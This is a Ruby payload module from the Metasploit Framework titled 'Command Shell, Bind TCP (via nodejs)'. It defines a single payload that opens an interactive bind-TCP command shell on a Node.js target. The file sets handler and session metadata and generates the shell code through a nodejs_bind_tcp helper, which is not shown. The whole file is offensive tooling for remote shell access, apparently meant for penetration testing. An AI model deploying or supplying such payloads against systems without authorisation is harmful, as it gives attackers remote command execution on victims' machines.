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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# It would be better to have a commonjs payload, but because the implementations
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# differ so greatly when it comes to require() paths for net modules, we will
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# settle for just getting shells on nodejs.
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module MetasploitModule
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  CachedSize = 555
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  include Msf::Payload::Single
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  include Msf::Payload::NodeJS
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Command Shell, Bind TCP (via nodejs)',
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      'Description'   => 'Creates an interactive shell via nodejs',
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      'Author'        => ['joev'],
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      'License'       => BSD_LICENSE,
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      'Platform'      => 'nodejs',
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      'Arch'          => ARCH_NODEJS,
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      'Handler'       => Msf::Handler::BindTcp,
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      'Session'       => Msf::Sessions::CommandShell,
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      'PayloadType'   => 'nodejs',
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      'Payload'       => { 'Offsets' => {}, 'Payload' => '' }
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    ))
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    super + command_string
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  end
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  #
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  # Returns the JS string to use for execution
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  #
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  def command_string
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    nodejs_bind_tcp
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  end
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end
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